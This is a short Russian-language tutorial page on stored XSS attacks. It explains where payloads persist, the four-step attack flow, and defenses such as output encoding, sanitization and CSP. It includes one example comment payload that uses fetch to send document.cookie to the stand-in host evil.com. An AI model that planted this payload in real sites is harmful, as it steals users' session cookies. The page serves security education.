Cybersecurity • Web Protection

Stored XSS атаки

Stored XSS (Persistent XSS или Type-II XSS) — это тип атаки, при котором вредоносный JavaScript-код сохраняется на сервере и затем автоматически выполняется у всех пользователей, открывающих заражённую страницу.

В отличие от Reflected XSS, payload существует постоянно, пока не будет удалён администратором или системой фильтрации.

Где сохраняется скрипт

  • Базы данных
  • Комментарии и форумы
  • Профили пользователей
  • Visitor logs и guest books
  • Чаты и системы сообщений

Как работает атака

Злоумышленник внедряет вредоносный скрипт через комментарий, профиль, форму обратной связи или любое другое поле ввода.

Сервер сохраняет payload, а затем автоматически отправляет его всем пользователям, открывающим заражённую страницу.

Сценарий Stored XSS

01

Злоумышленник отправляет payload через форму.

02

Сервер сохраняет скрипт в базе данных.

03

Пользователь открывает заражённую страницу.

04

Браузер выполняет вредоносный JavaScript.

Пример Stored XSS

Предположим, сайт позволяет оставлять комментарии без фильтрации HTML-кода:

<script>
fetch('https://evil.com?c=' + document.cookie)
</script>

Если приложение сохранит этот код в базе данных и затем покажет его другим пользователям — скрипт выполнится в браузере каждой жертвы.

HTML5 и новые риски

С развитием HTML5 payload может храниться не только на сервере, но и внутри браузера: в localStorage, IndexedDB и других client-side хранилищах.

Почему Stored XSS опаснее

Stored XSS способен автоматически заражать большое количество пользователей без необходимости отправлять каждому отдельную ссылку.

Основные методы защиты

Output Encoding

Экранирование HTML перед выводом данных.

HTML Sanitization

Очистка опасных тегов и JavaScript-кода.

Content Security Policy

Ограничение выполнения inline-скриптов.

Safe Rendering

Использование безопасных шаблонизаторов.